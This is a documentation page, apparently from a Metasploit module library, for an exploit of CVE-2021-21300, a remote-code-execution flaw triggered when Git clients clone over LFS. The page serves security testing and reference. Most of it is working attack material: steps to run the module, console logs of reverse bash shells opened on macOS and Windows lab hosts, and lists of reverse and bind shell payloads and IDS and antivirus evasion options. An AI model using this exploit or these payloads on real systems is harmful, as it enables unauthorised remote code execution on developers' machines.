Git LFS Clone Command Exec - Metasploit
This page contains detailed information about how to use the exploit/multi/http/git_lfs_clone_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Git LFS Clone Command Exec
Module: exploit/multi/http/git_lfs_clone_command_exec
Source code: modules/exploits/multi/http/git_lfs_clone_command_exec.rb
Disclosure date: 2021-04-26
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-21300
Git clients that support delay-capable clean / smudge
filters and symbolic links on case-insensitive file systems
are vulnerable to remote code execution while cloning a
repository. Usage of clean / smudge filters through Git LFS
and a case-insensitive file system changes the checkout
order of repository files which enables the placement of a
Git hook in the .git/hooks directory. By default, this
module writes a post-checkout script so that the payload
will automatically be executed upon checkout of the
repository.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- screen-effects: Module may show something on the screen (Example: a window pops up).
Basic Usage
msf > use exploit/multi/http/git_lfs_clone_command_exec
msf exploit(git_lfs_clone_command_exec) > exploit
Knowledge Base
Vulnerable Application
Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository.
Usage of clean / smudge filters through Git LFS and a
case-insensitive file system changes the checkout order
of repository files which enables the placement of a Git hook
in the .git/hooks directory. By default, this module writes
a post-checkout script so that the payload will automatically
be executed upon checkout of the repository.
Versions of Git below those in the following list are vulnerable: v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4, v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3, v2.30.2
Vulnerable Installation on Windows Setup
- Download a vulnerable version of Git for Windows: v2.30.1
- On the
Select Componentssection of the installer, make sure Git LFS is selected (should be by default) - Keep clicking
nextuntil reaching theConfiguring extra optionspage, selectEnable symbolic links,next, and thenInstall - Open Git Bash as Administrator and enter
export MSYS=winsymlinks:nativestrict - You should now be able to run the exploit and get a session on Windows
Vulnerable Installation on MacOS Setup
- You can either download a vulnerable version from here or install via Xcode by typing
gitinto the console - Install Homebrew
- Install Git LFS via Homebrew:
brew install git-lfs - Setup Git LFS globally:
git lfs install - You should now be able to run the exploit and get a session on MacOS
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/git_lfs_clone_command_exec - Do:
run - You should get a shell.
Options
GIT_URI
Sets the Git repository path. Leave empty for randomly-generated path.
Scenarios
Git v2.20.1 on MacOS 10.14.6
msf6 > use exploit/multi/http/git_lfs_clone_command_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1
srvhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.37.1:4444
msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/haCxGmXm0G
[*] Server started.
[*] Git repository to clone: http://192.168.37.1:8080/flowdesk.git
[*] Sending payload data...
[*] Sending LFS object...
[+] Deleted .gitattributes
[+] Deleted vnmzvmgyddk
[+] Deleted .git
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.132:49433) at 2021-07-12 11:35:47 -0500
msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1
[*] Starting interaction with 1...
uname -a
Darwin spaces-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Tue Aug 20 16:57:14 PDT 2019; root:xnu-4903.271.2~2/RELEASE_X86_64 x86_64
whoami
space
Git v2.29.0 on Windows 10
msf6 > use exploit/multi/http/git_lfs_clone_command_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1
srvhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.37.1:4444
msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/dA49tJWzH5Ye
[*] Server started.
[*] Git repository to clone: http://192.168.37.1:8080/otcom.git
[*] Sending payload data...
[*] Sending LFS object...
[+] Deleted .gitattributes
[+] Deleted nllefutt
[+] Deleted .git
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.1:61621) at 2021-07-12 11:32:30 -0500
msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1
[*] Starting interaction with 1...
uname -a
MINGW64_NT-10.0-19043 DESKTOP-2U9S1AD 3.1.7-340.x86_64 2020-09-22 19:03 UTC x86_64 Msys
Go back to menu.
Msfconsole Usage
Here is how the multi/http/git_lfs_clone_command_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/git_lfs_clone_command_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show info
Name: Git LFS Clone Command Exec
Module: exploit/multi/http/git_lfs_clone_command_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-04-26
Provided by:
Johannes Schindelin
Matheus Tavares
Shelby Pace
Module side effects:
artifacts-on-disk
screen-effects
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Git for MacOS, Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_URI no The URI to use as the malicious Git instance (empty for random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
Git clients that support delay-capable clean / smudge filters and
symbolic links on case-insensitive file systems are vulnerable to
remote code execution while cloning a repository. Usage of clean /
smudge filters through Git LFS and a case-insensitive file system
changes the checkout order of repository files which enables the
placement of a Git hook in the `.git/hooks` directory. By default,
this module writes a `post-checkout` script so that the payload will
automatically be executed upon checkout of the repository.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-21300
https://seclists.org/fulldisclosure/2021/Apr/60
https://twitter.com/Foone/status/1369500506469527552?s=20
Module Options
This is a complete list of options available in the multi/http/git_lfs_clone_command_exec exploit:
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show options
Module options (exploit/multi/http/git_lfs_clone_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
GIT_URI no The URI to use as the malicious Git instance (empty for random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Git for MacOS, Windows
Advanced Options
Here is a complete list of advanced options supported by the multi/http/git_lfs_clone_command_exec exploit:
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show advanced
Module advanced options (exploit/multi/http/git_lfs_clone_command_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
GitPassword no The Git password for authentication
GitUsername no The Git user name for authentication
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23,
SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/git_lfs_clone_command_exec module can exploit:
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Git for MacOS, Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_lfs_clone_command_exec exploit:
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/git_lfs_clone_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Git client did not send a valid request
- Failed to respond to Git client's LFS request
- Git client did not perform a clone
- Failed to build a proper response to the ref discovery request
- Could not generate upload-pack response
- Client request was invalid
- Client sent invalid request
- Unable to handle client's request
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Git client did not send a valid request
Here is a relevant code snippet related to the "Git client did not send a valid request" error message:
174: when 'ref-discovery'
175: response = send_refs(request)
176: when 'upload-pack'
177: response = send_requested_objs(request)
178: else
179: fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
180: end
181: else
182: response = handle_lfs_objects(req)
183: unless response.code == 200
184: cli.send_response(response)
Failed to respond to Git client's LFS request
Here is a relevant code snippet related to the "Failed to respond to Git client's LFS request" error message:
180: end
181: else
182: response = handle_lfs_objects(req)
183: unless response.code == 200
184: cli.send_response(response)
185: fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
186: end
187: end
188:
189: cli.send_response(response)
190: end
Git client did not perform a clone
Here is a relevant code snippet related to the "Git client did not perform a clone" error message:
188:
189: cli.send_response(response)
190: end
191:
192: def send_refs(req)
193: fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
194:
195: response = get_ref_discovery_response(req, @refs)
196: fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
197:
198: response
Failed to build a proper response to the ref discovery request
Here is a relevant code snippet related to the "Failed to build a proper response to the ref discovery request" error message:
191:
192: def send_refs(req)
193: fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
194:
195: response = get_ref_discovery_response(req, @refs)
196: fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
197:
198: response
199: end
200:
201: def send_requested_objs(req)
Could not generate upload-pack response
Here is a relevant code snippet related to the "Could not generate upload-pack response" error message:
199: end
200:
201: def send_requested_objs(req)
202: upload_pack_resp = get_upload_pack_response(req, @git_objs)
203: unless upload_pack_resp
204: fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
205: end
206:
207: upload_pack_resp
208: end
209:
Client request was invalid
Here is a relevant code snippet related to the "Client request was invalid" error message:
212:
213: case req.method
214: when 'POST'
215: print_status('Sending payload data...')
216: response = get_batch_response(req, @git_addr, git_hook_obj)
217: fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
218: when 'GET'
219: print_status('Sending LFS object...')
220: response = get_requested_obj_response(req, git_hook_obj)
221: fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222: else
Client sent invalid request
Here is a relevant code snippet related to the "Client sent invalid request" error message:
216: response = get_batch_response(req, @git_addr, git_hook_obj)
217: fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
218: when 'GET'
219: print_status('Sending LFS object...')
220: response = get_requested_obj_response(req, git_hook_obj)
221: fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222: else
223: fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
224: end
225:
226: response
Unable to handle client's request
Here is a relevant code snippet related to the "Unable to handle client's request" error message:
218: when 'GET'
219: print_status('Sending LFS object...')
220: response = get_requested_obj_response(req, git_hook_obj)
221: fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222: else
223: fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
224: end
225:
226: response
227: end
228: end
Go back to menu.
Related Pull Requests
- #15608 Merged Pull Request: Run rubocop layout rules on modules
- #15532 Merged Pull Request: Add module for CVE-2021-21300 and Git mixins
References
- CVE-2021-21300
- https://seclists.org/fulldisclosure/2021/Apr/60
- https://twitter.com/Foone/status/1369500506469527552?s=20
See Also
Check also the following modules related to this module:
- exploit/multi/http/git_client_command_exec
- exploit/multi/http/git_submodule_command_exec
- exploit/multi/http/git_submodule_url_exec
- auxiliary/scanner/http/git_scanner
- exploit/windows/http/git_lfs_rce
- exploit/linux/http/bitbucket_git_cmd_injection
- exploit/linux/http/github_enterprise_secret
- exploit/linux/http/gitlist_exec
- exploit/linux/http/sourcegraph_gitserver_sshcmd
- exploit/multi/http/gitea_git_fetch_rce
- exploit/multi/http/gitea_git_hooks_rce
- exploit/multi/http/gitlab_exif_rce
- exploit/multi/http/gitlab_file_read_rce
- exploit/multi/http/gitlab_shell_exec
- exploit/multi/http/gitlist_arg_injection
- exploit/multi/http/gitorious_graph
- exploit/multi/http/gogs_git_hooks_rce
- exploit/windows/browser/logitechvideocall_start
- exploit/windows/fileformat/digital_music_pad_pls
- exploit/windows/http/gitstack_rce
- auxiliary/admin/http/gitstack_rest
- auxiliary/scanner/http/cgit_traversal
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_login
- auxiliary/scanner/http/gitlab_user_enum
- auxiliary/scanner/ssh/ssh_enum_git_keys
- post/osx/gather/gitignore
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
- exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539
- exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
- exploit/windows/misc/bomberclone_overflow
- post/windows/manage/clone_proxy_settings
Related Nessus plugins:
- SUSE SLES12 Security Update : git (SUSE-SU-2021:0756-1)
- SUSE SLED15 / SLES15 Security Update : git (SUSE-SU-2021:0757-1)
- Slackware 14.0 / 14.1 / 14.2 / current : git (SSA:2021-070-01)
- Fedora 33 : git (2021-63fcbd126e)
- Security Updates for Microsoft Visual Studio Products (March 2021)
- openSUSE Security Update : git (openSUSE-2021-405)
- Fedora 32 : git (2021-ffd0b2108d)
- Photon OS 3.0: Git PHSA-2021-3.0-0207
- Photon OS 2.0: Git PHSA-2021-2.0-0327
- Photon OS 1.0: Git PHSA-2021-1.0-0369
Authors
- Johannes Schindelin
- Matheus Tavares
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
